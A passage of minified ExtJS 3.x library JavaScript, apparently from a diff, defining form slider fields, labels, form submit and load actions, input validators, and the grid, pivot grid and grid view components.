tag:"input"}; + Ext.form.SliderField.superclass.onRender.call(this, b, a); + this.wrap = this.el.wrap({cls:"x-form-field-wrap"}); + this.resizeEl = this.positionEl = this.wrap; + this.slider.render(this.wrap) +}, onResize:function (b, c, d, a) { + Ext.form.SliderField.superclass.onResize.call(this, b, c, d, a); + this.slider.setSize(b, c) +}, initEvents:function () { + Ext.form.SliderField.superclass.initEvents.call(this); + this.slider.on("change", this.onChange, this) +}, onChange:function (b, a) { + this.setValue(a, undefined, true) +}, onEnable:function () { + Ext.form.SliderField.superclass.onEnable.call(this); + this.slider.enable() +}, onDisable:function () { + Ext.form.SliderField.superclass.onDisable.call(this); + this.slider.disable() +}, beforeDestroy:function () { + Ext.destroy(this.slider); + Ext.form.SliderField.superclass.beforeDestroy.call(this) +}, alignErrorIcon:function () { + this.errorIcon.alignTo(this.slider.el, "tl-tr", [2, 0]) +}, setMinValue:function (a) { + this.slider.setMinValue(a); + return this +}, setMaxValue:function (a) { + this.slider.setMaxValue(a); + return this +}, setValue:function (c, b, a) { + if (!a) { + this.slider.setValue(c, b) + } + return Ext.form.SliderField.superclass.setValue.call(this, this.slider.getValue()) +}, getValue:function () { + return this.slider.getValue() +}}); +Ext.reg("sliderfield", Ext.form.SliderField); +Ext.form.Label = Ext.extend(Ext.BoxComponent, {onRender:function (b, a) { + if (!this.el) { + this.el = document.createElement("label"); + this.el.id = this.getId(); + this.el.innerHTML = this.text ? Ext.util.Format.htmlEncode(this.text) : (this.html || ""); + if (this.forId) { + this.el.setAttribute("for", this.forId) + } + } + Ext.form.Label.superclass.onRender.call(this, b, a) +}, setText:function (a, b) { + var c = b === false; + this[!c ? "text" : "html"] = a; + delete this[c ? "text" : "html"]; + if (this.rendered) { + this.el.dom.innerHTML = b !== false ? Ext.util.Format.htmlEncode(a) : a + } + return this +}}); +Ext.reg("label", Ext.form.Label); +Ext.form.Action = function (b, a) { + this.form = b; + this.options = a || {} +}; +Ext.form.Action.CLIENT_INVALID = "client"; +Ext.form.Action.SERVER_INVALID = "server"; +Ext.form.Action.CONNECT_FAILURE = "connect"; +Ext.form.Action.LOAD_FAILURE = "load"; +Ext.form.Action.prototype = {type:"default", run:function (a) { +}, success:function (a) { +}, handleResponse:function (a) { +}, failure:function (a) { + this.response = a; + this.failureType = Ext.form.Action.CONNECT_FAILURE; + this.form.afterAction(this, false) +}, processResponse:function (a) { + this.response = a; + if (!a.responseText && !a.responseXML) { + return true + } + this.result = this.handleResponse(a); + return this.result +}, decodeResponse:function (a) { + try { + return Ext.decode(a.responseText) + } catch (b) { + return false + } +}, getUrl:function (c) { + var a = this.options.url || this.form.url || this.form.el.dom.action; + if (c) { + var b = this.getParams(); + if (b) { + a = Ext.urlAppend(a, b) + } + } + return a +}, getMethod:function () { + return(this.options.method || this.form.method || this.form.el.dom.method || "POST").toUpperCase() +}, getParams:function () { + var a = this.form.baseParams; + var b = this.options.params; + if (b) { + if (typeof b == "object") { + b = Ext.urlEncode(Ext.applyIf(b, a)) + } else { + if (typeof b == "string" && a) { + b += "&" + Ext.urlEncode(a) + } + } + } else { + if (a) { + b = Ext.urlEncode(a) + } + } + return b +}, createCallback:function (a) { + var a = a || {}; + return{success:this.success, failure:this.failure, scope:this, timeout:(a.timeout * 1000) || (this.form.timeout * 1000), upload:this.form.fileUpload ? this.success : undefined} +}}; +Ext.form.Action.Submit = function (b, a) { + Ext.form.Action.Submit.superclass.constructor.call(this, b, a) +}; +Ext.extend(Ext.form.Action.Submit, Ext.form.Action, {type:"submit", run:function () { + var e = this.options, g = this.getMethod(), d = g == "GET"; + if (e.clientValidation === false || this.form.isValid()) { + if (e.submitEmptyText === false) { + var a = this.form.items, c = [], b = function (h) { + if (h.el.getValue() == h.emptyText) { + c.push(h); + h.el.dom.value = "" + } + if (h.isComposite && h.rendered) { + h.items.each(b) + } + }; + a.each(b) + } + Ext.Ajax.request(Ext.apply(this.createCallback(e), {form:this.form.el.dom, url:this.getUrl(d), method:g, headers:e.headers, params:!d ? this.getParams() : null, isUpload:this.form.fileUpload})); + if (e.submitEmptyText === false) { + Ext.each(c, function (h) { + if (h.applyEmptyText) { + h.applyEmptyText() + } + }) + } + } else { + if (e.clientValidation !== false) { + this.failureType = Ext.form.Action.CLIENT_INVALID; + this.form.afterAction(this, false) + } + } +}, success:function (b) { + var a = this.processResponse(b); + if (a === true || a.success) { + this.form.afterAction(this, true); + return + } + if (a.errors) { + this.form.markInvalid(a.errors) + } + this.failureType = Ext.form.Action.SERVER_INVALID; + this.form.afterAction(this, false) +}, handleResponse:function (c) { + if (this.form.errorReader) { + var b = this.form.errorReader.read(c); + var g = []; + if (b.records) { + for (var d = 0, a = b.records.length; d < a; d++) { + var e = b.records[d]; + g[d] = e.data + } + } + if (g.length < 1) { + g = null + } + return{success:b.success, errors:g} + } + return this.decodeResponse(c) +}}); +Ext.form.Action.Load = function (b, a) { + Ext.form.Action.Load.superclass.constructor.call(this, b, a); + this.reader = this.form.reader +}; +Ext.extend(Ext.form.Action.Load, Ext.form.Action, {type:"load", run:function () { + Ext.Ajax.request(Ext.apply(this.createCallback(this.options), {method:this.getMethod(), url:this.getUrl(false), headers:this.options.headers, params:this.getParams()})) +}, success:function (b) { + var a = this.processResponse(b); + if (a === true || !a.success || !a.data) { + this.failureType = Ext.form.Action.LOAD_FAILURE; + this.form.afterAction(this, false); + return + } + this.form.clearInvalid(); + this.form.setValues(a.data); + this.form.afterAction(this, true) +}, handleResponse:function (b) { + if (this.form.reader) { + var a = this.form.reader.read(b); + var c = a.records && a.records[0] ? a.records[0].data : null; + return{success:a.success, data:c} + } + return this.decodeResponse(b) +}}); +Ext.form.Action.DirectLoad = Ext.extend(Ext.form.Action.Load, {constructor:function (b, a) { + Ext.form.Action.DirectLoad.superclass.constructor.call(this, b, a) +}, type:"directload", run:function () { + var a = this.getParams(); + a.push(this.success, this); + this.form.api.load.apply(window, a) +}, getParams:function () { + var c = [], h = {}; + var e = this.form.baseParams; + var g = this.options.params; + Ext.apply(h, g, e); + var b = this.form.paramOrder; + if (b) { + for (var d = 0, a = b.length; d < a; d++) { + c.push(h[b[d]]) + } + } else { + if (this.form.paramsAsHash) { + c.push(h) + } + } + return c +}, processResponse:function (a) { + this.result = a; + return a +}, success:function (a, b) { + if (b.type == Ext.Direct.exceptions.SERVER) { + a = {} + } + Ext.form.Action.DirectLoad.superclass.success.call(this, a) +}}); +Ext.form.Action.DirectSubmit = Ext.extend(Ext.form.Action.Submit, {constructor:function (b, a) { + Ext.form.Action.DirectSubmit.superclass.constructor.call(this, b, a) +}, type:"directsubmit", run:function () { + var a = this.options; + if (a.clientValidation === false || this.form.isValid()) { + this.success.params = this.getParams(); + this.form.api.submit(this.form.el.dom, this.success, this) + } else { + if (a.clientValidation !== false) { + this.failureType = Ext.form.Action.CLIENT_INVALID; + this.form.afterAction(this, false) + } + } +}, getParams:function () { + var c = {}; + var a = this.form.baseParams; + var b = this.options.params; + Ext.apply(c, b, a); + return c +}, processResponse:function (a) { + this.result = a; + return a +}, success:function (a, b) { + if (b.type == Ext.Direct.exceptions.SERVER) { + a = {} + } + Ext.form.Action.DirectSubmit.superclass.success.call(this, a) +}}); +Ext.form.Action.ACTION_TYPES = {load:Ext.form.Action.Load, submit:Ext.form.Action.Submit, directload:Ext.form.Action.DirectLoad, directsubmit:Ext.form.Action.DirectSubmit}; +Ext.form.VTypes = function () { + var c = /^[a-zA-Z_]+$/, d = /^[a-zA-Z0-9_]+$/, b = /^(\w+)([\-+.\'][\w]+)*@(\w[\-\w]*\.){1,5}([A-Za-z]){2,6}$/, a = /(((^https?)|(^ftp)):\/\/([\-\w]+\.)+\w{2,3}(\/[%\-\w]+(\.\w{2,})?)*(([\w\-\.\?\\\/+@&#;`~=%!]*)(\.\w{2,})?)*\/?)/i; + return{email:function (e) { + return b.test(e) + }, emailText:'This field should be an e-mail address in the format "user@example.com"', emailMask:/[a-z0-9_\.\-\+\'@]/i, url:function (e) { + return a.test(e) + }, urlText:'This field should be a URL in the format "http://www.example.com"', alpha:function (e) { + return c.test(e) + }, alphaText:"This field should only contain letters and _", alphaMask:/[a-z_]/i, alphanum:function (e) { + return d.test(e) + }, alphanumText:"This field should only contain letters, numbers and _", alphanumMask:/[a-z0-9_]/i} +}(); +Ext.grid.GridPanel = Ext.extend(Ext.Panel, {autoExpandColumn:false, autoExpandMax:1000, autoExpandMin:50, columnLines:false, ddText:"{0} selected row{1}", deferRowRender:true, enableColumnHide:true, enableColumnMove:true, enableDragDrop:false, enableHdMenu:true, loadMask:false, minColumnWidth:25, stripeRows:false, trackMouseOver:true, stateEvents:["columnmove", "columnresize", "sortchange", "groupchange"], view:null, bubbleEvents:[], rendered:false, viewReady:false, initComponent:function () { + Ext.grid.GridPanel.superclass.initComponent.call(this); + if (this.columnLines) { + this.cls = (this.cls || "") + " x-grid-with-col-lines" + } + this.autoScroll = false; + this.autoWidth = false; + if (Ext.isArray(this.columns)) { + this.colModel = new Ext.grid.ColumnModel(this.columns); + delete this.columns + } + if (this.ds) { + this.store = this.ds; + delete this.ds + } + if (this.cm) { + this.colModel = this.cm; + delete this.cm + } + if (this.sm) { + this.selModel = this.sm; + delete this.sm + } + this.store = Ext.StoreMgr.lookup(this.store); + this.addEvents("click", "dblclick", "contextmenu", "mousedown", "mouseup", "mouseover", "mouseout", "keypress", "keydown", "cellmousedown", "rowmousedown", "headermousedown", "groupmousedown", "rowbodymousedown", "containermousedown", "cellclick", "celldblclick", "rowclick", "rowdblclick", "headerclick", "headerdblclick", "groupclick", "groupdblclick", "containerclick", "containerdblclick", "rowbodyclick", "rowbodydblclick", "rowcontextmenu", "cellcontextmenu", "headercontextmenu", "groupcontextmenu", "containercontextmenu", "rowbodycontextmenu", "bodyscroll", "columnresize", "columnmove", "sortchange", "groupchange", "reconfigure", "viewready") +}, onRender:function (d, a) { + Ext.grid.GridPanel.superclass.onRender.apply(this, arguments); + var e = this.getGridEl(); + this.el.addClass("x-grid-panel"); + this.mon(e, {scope:this, mousedown:this.onMouseDown, click:this.onClick, dblclick:this.onDblClick, contextmenu:this.onContextMenu}); + this.relayEvents(e, ["mousedown", "mouseup", "mouseover", "mouseout", "keypress", "keydown"]); + var b = this.getView(); + b.init(this); + b.render(); + this.getSelectionModel().init(this) +}, initEvents:function () { + Ext.grid.GridPanel.superclass.initEvents.call(this); + if (this.loadMask) { + this.loadMask = new Ext.LoadMask(this.bwrap, Ext.apply({store:this.store}, this.loadMask)) + } +}, initStateEvents:function () { + Ext.grid.GridPanel.superclass.initStateEvents.call(this); + this.mon(this.colModel, "hiddenchange", this.saveState, this, {delay:100}) +}, applyState:function (a) { + var k = this.colModel, g = a.columns, j = this.store, m, h, l; + if (g) { + for (var d = 0, e = g.length; d < e; d++) { + m = g[d]; + h = k.getColumnById(m.id); + if (h) { + l = k.getIndexById(m.id); + k.setState(l, {hidden:m.hidden, width:m.width, sortable:m.sortable}); + if (l != d) { + k.moveColumn(l, d) + } + } + } + } + if (j) { + m = a.sort; + if (m) { + j[j.remoteSort ? "setDefaultSort" : "sort"](m.field, m.direction) + } + m = a.group; + if (j.groupBy) { + if (m) { + j.groupBy(m) + } else { + j.clearGrouping() + } + } + } + var b = Ext.apply({}, a); + delete b.columns; + delete b.sort; + Ext.grid.GridPanel.superclass.applyState.call(this, b) +}, getState:function () { + var g = {columns:[]}, b = this.store, e, a; + for (var d = 0, h; (h = this.colModel.config[d]); d++) { + g.columns[d] = {id:h.id, width:h.width}; + if (h.hidden) { + g.columns[d].hidden = true + } + if (h.sortable) { + g.columns[d].sortable = true + } + } + if (b) { + e = b.getSortState(); + if (e) { + g.sort = e + } + if (b.getGroupState) { + a = b.getGroupState(); + if (a) { + g.group = a + } + } + } + return g +}, afterRender:function () { + Ext.grid.GridPanel.superclass.afterRender.call(this); + var a = this.view; + this.on("bodyresize", a.layout, a); + a.layout(true); + if (this.deferRowRender) { + if (!this.deferRowRenderTask) { + this.deferRowRenderTask = new Ext.util.DelayedTask(a.afterRender, this.view) + } + this.deferRowRenderTask.delay(10) + } else { + a.afterRender() + } + this.viewReady = true +}, reconfigure:function (a, b) { + var c = this.rendered; + if (c) { + if (this.loadMask) { + this.loadMask.destroy(); + this.loadMask = new Ext.LoadMask(this.bwrap, Ext.apply({}, {store:a}, this.initialConfig.loadMask)) + } + } + if (this.view) { + this.view.initData(a, b) + } + this.store = a; + this.colModel = b; + if (c) { + this.view.refresh(true) + } + this.fireEvent("reconfigure", this, a, b) +}, onDestroy:function () { + if (this.deferRowRenderTask && this.deferRowRenderTask.cancel) { + this.deferRowRenderTask.cancel() + } + if (this.rendered) { + Ext.destroy(this.view, this.loadMask) + } else { + if (this.store && this.store.autoDestroy) { + this.store.destroy() + } + } + Ext.destroy(this.colModel, this.selModel); + this.store = this.selModel = this.colModel = this.view = this.loadMask = null; + Ext.grid.GridPanel.superclass.onDestroy.call(this) +}, processEvent:function (a, b) { + this.view.processEvent(a, b) +}, onClick:function (a) { + this.processEvent("click", a) +}, onMouseDown:function (a) { + this.processEvent("mousedown", a) +}, onContextMenu:function (b, a) { + this.processEvent("contextmenu", b) +}, onDblClick:function (a) { + this.processEvent("dblclick", a) +}, walkCells:function (k, c, b, e, j) { + var i = this.colModel, g = i.getColumnCount(), a = this.store, h = a.getCount(), d = true; + if (b < 0) { + if (c < 0) { + k--; + d = false + } + while (k >= 0) { + if (!d) { + c = g - 1 + } + d = false; + while (c >= 0) { + if (e.call(j || this, k, c, i) === true) { + return[k, c] + } + c-- + } + k-- + } + } else { + if (c >= g) { + k++; + d = false + } + while (k < h) { + if (!d) { + c = 0 + } + d = false; + while (c < g) { + if (e.call(j || this, k, c, i) === true) { + return[k, c] + } + c++ + } + k++ + } + } + return null +}, getGridEl:function () { + return this.body +}, stopEditing:Ext.emptyFn, getSelectionModel:function () { + if (!this.selModel) { + this.selModel = new Ext.grid.RowSelectionModel(this.disableSelection ? {selectRow:Ext.emptyFn} : null) + } + return this.selModel +}, getStore:function () { + return this.store +}, getColumnModel:function () { + return this.colModel +}, getView:function () { + if (!this.view) { + this.view = new Ext.grid.GridView(this.viewConfig) + } + return this.view +}, getDragDropText:function () { + var a = this.selModel.getCount(); + return String.format(this.ddText, a, a == 1 ? "" : "s") +}}); +Ext.reg("grid", Ext.grid.GridPanel); +Ext.grid.PivotGrid = Ext.extend(Ext.grid.GridPanel, {aggregator:"sum", renderer:undefined, initComponent:function () { + Ext.grid.PivotGrid.superclass.initComponent.apply(this, arguments); + this.initAxes(); + this.enableColumnResize = false; + this.viewConfig = Ext.apply(this.viewConfig || {}, {forceFit:true}); + this.colModel = new Ext.grid.ColumnModel({}) +}, getAggregator:function () { + if (typeof this.aggregator == "string") { + return Ext.grid.PivotAggregatorMgr.types[this.aggregator] + } else { + return this.aggregator + } +}, setAggregator:function (a) { + this.aggregator = a +}, setMeasure:function (a) { + this.measure = a +}, setLeftAxis:function (b, a) { + this.leftAxis = b; + if (a) { + this.view.refresh() + } +}, setTopAxis:function (b, a) { + this.topAxis = b; + if (a) { + this.view.refresh() + } +}, initAxes:function () { + var a = Ext.grid.PivotAxis; + if (!(this.leftAxis instanceof a)) { + this.setLeftAxis(new a({orientation:"vertical", dimensions:this.leftAxis || [], store:this.store})) + } + if (!(this.topAxis instanceof a)) { + this.setTopAxis(new a({orientation:"horizontal", dimensions:this.topAxis || [], store:this.store})) + } +}, extractData:function () { + var c = this.store.data.items, s = c.length, q = [], h, g, e, d; + if (s == 0) { + return[] + } + var l = this.leftAxis.getTuples(), o = l.length, m = this.topAxis.getTuples(), a = m.length, b = this.getAggregator(); + for (g = 0; g < s; g++) { + h = c[g]; + for (e = 0; e < o; e++) { + q[e] = q[e] || []; + if (l[e].matcher(h) === true) { + for (d = 0; d < a; d++) { + q[e][d] = q[e][d] || []; + if (m[d].matcher(h)) { + q[e][d].push(h) + } + } + } + } + } + var n = q.length, p, r; + for (g = 0; g < n; g++) { + r = q[g]; + p = r.length; + for (e = 0; e < p; e++) { + q[g][e] = b(q[g][e], this.measure) + } + } + return q +}, getView:function () { + if (!this.view) { + this.view = new Ext.grid.PivotGridView(this.viewConfig) + } + return this.view +}}); +Ext.reg("pivotgrid", Ext.grid.PivotGrid); +Ext.grid.PivotAggregatorMgr = new Ext.AbstractManager(); +Ext.grid.PivotAggregatorMgr.registerType("sum", function (a, c) { + var e = a.length, d = 0, b; + for (b = 0; b < e; b++) { + d += a[b].get(c) + } + return d +}); +Ext.grid.PivotAggregatorMgr.registerType("avg", function (a, c) { + var e = a.length, d = 0, b; + for (b = 0; b < e; b++) { + d += a[b].get(c) + } + return(d / e) || "n/a" +}); +Ext.grid.PivotAggregatorMgr.registerType("min", function (a, c) { + var e = [], d = a.length, b; + for (b = 0; b < d; b++) { + e.push(a[b].get(c)) + } + return Math.min.apply(this, e) || "n/a" +}); +Ext.grid.PivotAggregatorMgr.registerType("max", function (a, c) { + var e = [], d = a.length, b; + for (b = 0; b < d; b++) { + e.push(a[b].get(c)) + } + return Math.max.apply(this, e) || "n/a" +}); +Ext.grid.PivotAggregatorMgr.registerType("count", function (a, b) { + return a.length +}); +Ext.grid.GridView = Ext.extend(Ext.util.Observable, {deferEmptyText:true, scrollOffset:undefined, autoFill:false, forceFit:false, sortClasses:["sort-asc", "sort-desc"], sortAscText:"Sort Ascending", sortDescText:"Sort Descending", columnsText:"Columns", selectedRowClass:"x-grid3-row-selected", borderWidth:2, tdClass:"x-grid3-cell", hdCls:"x-grid3-hd", markDirty:true, cellSelectorDepth:4, rowSelectorDepth:10, rowBodySelectorDepth:10, cellSelector:"td.x-grid3-cell", rowSelector:"div.x-grid3-row", rowBodySelector:"div.x-grid3-row-body", firstRowCls:"x-grid3-row-first", lastRowCls:"x-grid3-row-last", rowClsRe:/(?:^|\s+)x-grid3-row-(first|last|alt)(?:\s+|$)/g, headerMenuOpenCls:"x-grid3-hd-menu-open", rowOverCls:"x-grid3-row-over", constructor:function (a) { + Ext.apply(this, a); + this.addEvents("beforerowremoved", "beforerowsinserted", "beforerefresh", "rowremoved", "rowsinserted", "rowupdated", "refresh"); + Ext.grid.GridView.superclass.constructor.call(this) +}, masterTpl:new Ext.Template('
    ', '
    ', '
    ', '
    ', '
    {header}
    ', "
    ", '
    ', "
    ", '
    ', '
    {body}
    ', '', "
    ", "
    ", '
     
    ', '
     
    ', "
    "), headerTpl:new Ext.Template('', "", '{cells}', "", "
    "), bodyTpl:new Ext.Template("{rows}"), cellTpl:new Ext.Template('', '
    {value}
    ', ""), initTemplates:function () { + var c = this.templates || {}, d, b, g = new Ext.Template('', '
    ', this.grid.enableHdMenu ? '' : "", "{value}", '', "
    ", ""), a = ['', '', '
    {body}
    ', "", ""].join(""), e = ['', "", "{cells}", this.enableRowBody ? a : "", "", "
    "].join(""); + Ext.applyIf(c, {hcell:g, cell:this.cellTpl, body:this.bodyTpl, header:this.headerTpl, master:this.masterTpl, row:new Ext.Template('
    ' + e + "
    "), rowInner:new Ext.Template(e)}); + for (b in c) { + d = c[b]; + if (d && Ext.isFunction(d.compile) && !d.compiled) { + d.disableFormats = true; + d.compile() + } + } + this.templates = c; + this.colRe = new RegExp("x-grid3-td-([^\\s]+)", "") +}, fly:function (a) { + if (!this._flyweight) { + this._flyweight = new Ext.Element.Flyweight(document.body) + } + this._flyweight.dom = a; + return this._flyweight +}, getEditorParent:function () { + return this.scroller.dom +}, initElements:function () { + var b = Ext.Element, d = Ext.get(this.grid.getGridEl().dom.firstChild), e = new b(d.child("div.x-grid3-viewport")), c = new b(e.child("div.x-grid3-header")), a = new b(e.child("div.x-grid3-scroller")); + if (this.grid.hideHeaders) { + c.setDisplayed(false) + } + if (this.forceFit) { + a.setStyle("overflow-x", "hidden") + } + Ext.apply(this, {el:d, mainWrap:e, scroller:a, mainHd:c, innerHd:c.child("div.x-grid3-header-inner").dom, mainBody:new b(b.fly(a).child("div.x-grid3-body")), focusEl:new b(b.fly(a).child("a")), resizeMarker:new b(d.child("div.x-grid3-resize-marker")), resizeProxy:new b(d.child("div.x-grid3-resize-proxy"))}); + this.focusEl.swallowEvent("click", true) +}, getRows:function () { + return this.hasRows() ? this.mainBody.dom.childNodes : [] +}, findCell:function (a) { + if (!a) { + return false + } + return this.fly(a).findParent(this.cellSelector, this.cellSelectorDepth) +}, findCellIndex:function (d, c) { + var b = this.findCell(d), a; + if (b) { + a = this.fly(b).hasClass(c); + if (!c || a) { + return this.getCellIndex(b) + } + } + return false +}, getCellIndex:function (b) { + if (b) { + var a = b.className.match(this.colRe); + if (a && a[1]) { + return this.cm.getIndexById(a[1]) + } + } + return false +}, findHeaderCell:function (b) { + var a = this.findCell(b); + return a && this.fly(a).hasClass(this.hdCls) ? a : null +}, findHeaderIndex:function (a) { + return this.findCellIndex(a, this.hdCls) +}, findRow:function (a) { + if (!a) { + return false + } + return this.fly(a).findParent(this.rowSelector, this.rowSelectorDepth) +}, findRowIndex:function (a) { + var b = this.findRow(a); + return b ? b.rowIndex : false +}, findRowBody:function (a) { + if (!a) { + return false + } + return this.fly(a).findParent(this.rowBodySelector, this.rowBodySelectorDepth) +}, getRow:function (a) { + return this.getRows()[a] +}, getCell:function (b, a) { + return Ext.fly(this.getRow(b)).query(this.cellSelector)[a] +}, getHeaderCell:function (a) { + return this.mainHd.dom.getElementsByTagName("td")[a] +}, addRowClass:function (b, a) { + var c = this.getRow(b); + if (c) { + this.fly(c).addClass(a) + } +}, removeRowClass:function (c, a) { + var b = this.getRow(c); + if (b) { + this.fly(b).removeClass(a) + } +}, removeRow:function (a) { + Ext.removeNode(this.getRow(a)); + this.syncFocusEl(a) +}, removeRows:function (c, a) { + var b = this.mainBody.dom, d; + for (d = c; d <= a; d++) { + Ext.removeNode(b.childNodes[c]) + } + this.syncFocusEl(c) +}, getScrollState:function () { + var a = this.scroller.dom; + return{left:a.scrollLeft, top:a.scrollTop} +}, restoreScroll:function (a) { + var b = this.scroller.dom; + b.scrollLeft = a.left; + b.scrollTop = a.top +}, scrollToTop:function () { + var a = this.scroller.dom; + a.scrollTop = 0; + a.scrollLeft = 0 +}, syncScroll:function () { + this.syncHeaderScroll(); + var a = this.scroller.dom; + this.grid.fireEvent("bodyscroll", a.scrollLeft, a.scrollTop) +}, syncHeaderScroll:function () { + var a = this.innerHd, b = this.scroller.dom.scrollLeft; + a.scrollLeft = b; + a.scrollLeft = b +}, updateSortIcon:function (d, c) { + var a = this.sortClasses, b = a[c == "DESC" ? 1 : 0], e = this.mainHd.select("td").removeClass(a); + e.item(d).addClass(b) +}, updateAllColumnWidths:function () { + var e = this.getTotalWidth(), k = this.cm.getColumnCount(), m = this.getRows(), g = m.length, b = [], l, a, h, d, c; + for (d = 0; d < k; d++) { + b[d] = this.getColumnWidth(d); + this.getHeaderCell(d).style.width = b[d] + } + this.updateHeaderWidth(); + for (d = 0; d < g; d++) { + l = m[d]; + l.style.width = e; + a = l.firstChild; + if (a) { + a.style.width = e; + h = a.rows[0]; + for (c = 0; c < k; c++) { + h.childNodes[c].style.width = b[c] + } + } + } + this.onAllColumnWidthsUpdated(b, e) +}, updateColumnWidth:function (d, b) { + var c = this.getColumnWidth(d), j = this.getTotalWidth(), h = this.getHeaderCell(d), a = this.getRows(), e = a.length, l, g, k; + this.updateHeaderWidth(); + h.style.width = c; + for (g = 0; g < e; g++) { + l = a[g]; + k = l.firstChild; + l.style.width = j; + if (k) { + k.style.width = j; + k.rows[0].childNodes[d].style.width = c + } + } + this.onColumnWidthUpdated(d, c, j) +}, updateColumnHidden:function (b, j) { + var h = this.getTotalWidth(), k = j ? "none" : "", g = this.getHeaderCell(b), a = this.getRows(), d = a.length, l, c, e; + this.updateHeaderWidth(); + g.style.display = k; + for (e = 0; e < d; e++) { + l = a[e]; + l.style.width = h; + c = l.firstChild; + if (c) { + c.style.width = h; + c.rows[0].childNodes[b].style.display = k + } + } + this.onColumnHiddenUpdated(b, j, h); + delete this.lastViewWidth; + this.layout() +}, doRender:function (d, v, m, a, r, t) { + var h = this.templates, c = h.cell, y = h.row, o = r - 1, b = "width:" + this.getTotalWidth() + ";", k = [], l = [], n = {tstyle:b}, q = {}, w = v.length, x, g, e, u, s, p; + for (s = 0; s < w; s++) { + e = v[s]; + l = []; + p = s + a; + for (u = 0; u < r; u++) { + g = d[u]; + q.id = g.id; + q.css = u === 0 ? "x-grid3-cell-first " : (u == o ? "x-grid3-cell-last " : ""); + q.attr = q.cellAttr = ""; + q.style = g.style; + q.value = g.renderer.call(g.scope, e.data[g.name], q, e, p, u, m); + if (Ext.isEmpty(q.value)) { + q.value = " " + } + if (this.markDirty && e.dirty && typeof e.modified[g.name] != "undefined") { + q.css += " x-grid3-dirty-cell" + } + l[l.length] = c.apply(q) + } + x = []; + if (t && ((p + 1) % 2 === 0)) { + x[0] = "x-grid3-row-alt" + } + if (e.dirty) { + x[1] = " x-grid3-dirty-row" + } + n.cols = r; + if (this.getRowClass) { + x[2] = this.getRowClass(e, p, n, m) + } + n.alt = x.join(" "); + n.cells = l.join(""); + k[k.length] = y.apply(n) + } + return k.join("") +}, processRows:function (a, g) { + if (!this.ds || this.ds.getCount() < 1) { + return + } + var d = this.getRows(), c = d.length, e, b; + g = g || !this.grid.stripeRows; + a = a || 0; + for (b = 0; b < c; b++) { + e = d[b]; + if (e) { + e.rowIndex = b; + if (!g) { + e.className = e.className.replace(this.rowClsRe, " "); + if ((b + 1) % 2 === 0) { + e.className += " x-grid3-row-alt" + } + } + } + } + if (a === 0) { + Ext.fly(d[0]).addClass(this.firstRowCls) + } + Ext.fly(d[c - 1]).addClass(this.lastRowCls) +}, afterRender:function () { + if (!this.ds || !this.cm) { + return + } + this.mainBody.dom.innerHTML = this.renderBody() || " "; + this.processRows(0, true); + if (this.deferEmptyText !== true) { + this.applyEmptyText() + } + this.grid.fireEvent("viewready", this.grid) +}, afterRenderUI:function () { + var a = this.grid; + this.initElements(); + Ext.fly(this.innerHd).on("click", this.handleHdDown, this); + this.mainHd.on({scope:this, mouseover:this.handleHdOver, mouseout:this.handleHdOut, mousemove:this.handleHdMove}); + this.scroller.on("scroll", this.syncScroll, this); + if (a.enableColumnResize !== false) { + this.splitZone = new Ext.grid.GridView.SplitDragZone(a, this.mainHd.dom) + } + if (a.enableColumnMove) { + this.columnDrag = new Ext.grid.GridView.ColumnDragZone(a, this.innerHd); + this.columnDrop = new Ext.grid.HeaderDropZone(a, this.mainHd.dom) + } + if (a.enableHdMenu !== false) { + this.hmenu = new Ext.menu.Menu({id:a.id + "-hctx"}); + this.hmenu.add({itemId:"asc", text:this.sortAscText, cls:"xg-hmenu-sort-asc"}, {itemId:"desc", text:this.sortDescText, cls:"xg-hmenu-sort-desc"}); + if (a.enableColumnHide !== false) { + this.colMenu = new Ext.menu.Menu({id:a.id + "-hcols-menu"}); + this.colMenu.on({scope:this, beforeshow:this.beforeColMenuShow, itemclick:this.handleHdMenuClick}); + this.hmenu.add("-", {itemId:"columns", hideOnClick:false, text:this.columnsText, menu:this.colMenu, iconCls:"x-cols-icon"}) + } + this.hmenu.on("itemclick", this.handleHdMenuClick, this) + } + if (a.trackMouseOver) { + this.mainBody.on({scope:this, mouseover:this.onRowOver, mouseout:this.onRowOut}) + } + if (a.enableDragDrop || a.enableDrag) { + this.dragZone = new Ext.grid.GridDragZone(a, {ddGroup:a.ddGroup || "GridDD"}) + } + this.updateHeaderSortState() +}, renderUI:function () { + var a = this.templates; + return a.master.apply({body:a.body.apply({rows:" "}), header:this.renderHeaders(), ostyle:"width:" + this.getOffsetWidth() + ";", bstyle:"width:" + this.getTotalWidth() + ";"}) +}, processEvent:function (b, h) { + var i = h.getTarget(), a = this.grid, d = this.findHeaderIndex(i), k, j, c, g; + a.fireEvent(b, h); + if (d !== false) { + a.fireEvent("header" + b, a, d, h) + } else { + k = this.findRowIndex(i); + if (k !== false) { + j = this.findCellIndex(i); + if (j !== false) { + c = a.colModel.getColumnAt(j); + if (a.fireEvent("cell" + b, a, k, j, h) !== false) { + if (!c || (c.processEvent && (c.processEvent(b, h, a, k, j) !== false))) { + a.fireEvent("row" + b, a, k, h) + } + } + } else { + if (a.fireEvent("row" + b, a, k, h) !== false) { + (g = this.findRowBody(i)) && a.fireEvent("rowbody" + b, a, k, h) + } + } + } else { + a.fireEvent("container" + b, a, h) + } + } +}, layout:function (j) { + if (!this.mainBody) { + return + } + var a = this.grid, d = a.getGridEl(), c = d.getSize(true), i = c.width, b = c.height, h = this.scroller, g, e, k; + if (i < 20 || b < 20) { + return + } + if (a.autoHeight) { + g = h.dom.style; + g.overflow = "visible"; + if (Ext.isWebKit) { + g.position = "static" + } + } else { + this.el.setSize(i, b); + e = this.mainHd.getHeight(); + k = b - e; + h.setSize(i, k); + if (this.innerHd) { + this.innerHd.style.width = (i) + "px" + } + } + if (this.forceFit || (j === true && this.autoFill)) { + if (this.lastViewWidth != i) { + this.fitColumns(false, false); + this.lastViewWidth = i + } + } else { + this.autoExpand(); + this.syncHeaderScroll() + } + this.onLayout(i, k) +}, onLayout:function (a, b) { +}, onColumnWidthUpdated:function (c, a, b) { +}, onAllColumnWidthsUpdated:function (a, b) { +}, onColumnHiddenUpdated:function (b, c, a) { +}, updateColumnText:function (a, b) { +}, afterMove:function (a) { +}, init:function (a) { + this.grid = a; + this.initTemplates(); + this.initData(a.store, a.colModel); + this.initUI(a) +}, getColumnId:function (a) { + return this.cm.getColumnId(a) +}, getOffsetWidth:function () { + return(this.cm.getTotalWidth() + this.getScrollOffset()) + "px" +}, getScrollOffset:function () { + return Ext.num(this.scrollOffset, Ext.getScrollBarWidth()) +}, renderHeaders:function () { + var e = this.cm, g = this.templates, a = g.hcell, d = {}, h = e.getColumnCount(), j = h - 1, k 